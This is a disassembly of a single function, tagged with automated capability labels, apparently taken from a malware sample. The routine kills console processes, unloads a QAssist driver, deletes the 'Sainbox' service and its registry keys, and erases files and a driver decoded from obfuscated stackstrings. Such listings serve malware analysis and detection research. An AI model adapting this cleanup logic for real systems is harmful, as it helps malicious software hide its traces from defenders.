Function at 0x40e8f0
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete registry key
Delete service
Get common file path
Terminate process

Disassembly:
mov eax, dword [0x51eb64]
sub esp, 0x640
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
cmp edi, eax
je 0x40ea10
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x40e92b
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x40e919
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0x40]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x40e9a6
lea eax, [esi*4]
push eax
call fcn.004a2adf
add esp, 4
mov ebx, eax
mov dword [esp + 0x34], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x40e99d
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x40e993
cmp esi, dword [edi + 0xc]
je 0x40e993
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40e993
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x40e961
mov ebx, dword [esp + 0x34]
push ebx
call fcn.004a2b08
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x40e9c0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x40e9b2
mov ecx, dword [edi + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x51e4c0]
cmp ecx, edx
je 0x40e9eb
mov eax, dword [ecx]
cmp eax, edx
je 0x40e9e7
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x40e9df
mov edi, ecx
jmp 0x40ea04
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x40e9fd
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x40e9f3
cmp dword [edi + 8], eax
je 0x40ea04
mov edi, eax
cmp edi, dword [0x51eb64]
jne 0x40e909
push 1
push str.SeLoadDriverPrivilege
call fcn.00419b70
push str.RtlInitUnicodeString
push str.NTDLL.DLL
call fcn.00419b40
push str.ZwUnloadDriver
push str.NTDLL.DLL
mov esi, eax
call fcn.00419b40
mov edx, dword [str.QAssist]
mov edi, eax
push edx
lea eax, [esp + 0x46c]
push str.RegistryMachineSystemCurrentControlSetServices_S
push eax
call fcn.0042daa6
add esp, 0x24
lea ecx, [esp + 0x450]
lea edx, [esp + 0x38]
push ecx
push edx
call esi
lea eax, [esp + 0x38]
push eax
call edi
push 0
push str.SeLoadDriverPrivilege
call fcn.00419b70
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x148]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x148]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x148]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x40eb29
push 0x10000
push str.Sainbox
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x40eb26
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call ebx
push esi
call ebx
push 3
push 0
push 0
push 0
push str.MarkTime
push str.SYSTEMSelect
push reloc.WS2_32.dll_bind
call fcn.00413460
push 3
push 0
push 0
push 0
push str.Host
push str.SYSTEMSetup
push reloc.WS2_32.dll_bind
call fcn.00413460
push 3
push 0
push 0
push 0
push str.6e8af34f62d66b7578e94d3d634f2fee
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call fcn.00413460
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0x54
lea ecx, [esp + 0x34c]
mov bl, 0x6c
mov al, 0x69
push 0x104
push ecx
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x50
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x56
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x64
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34c]
push edx
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x34c]
push ecx
call ebp
lea edx, [esp + 0x248]
push 0x104
push edx
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x67
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0
call esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x248]
push eax
push ecx
call edi
lea edx, [esp + 0x248]
push edx
call ebp
mov eax, dword [0x51eb78]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [0x51eb88]
push ecx
call fcn.0042ce1e
mov edx, dword [0x51eb8c]
push edx
call fcn.0042ce1e
add esp, 8
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x44]
test eax, eax
mov edi, str._sysnativedrivers_
jne 0x40ecd8
mov edi, str._system32drivers_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [str.QAssist]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
mov eax, dword [0x51eb10]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x40ed80
push 0x51e6e0
push eax
mov dword [0x51e6e4], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call fcn.0041c760
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]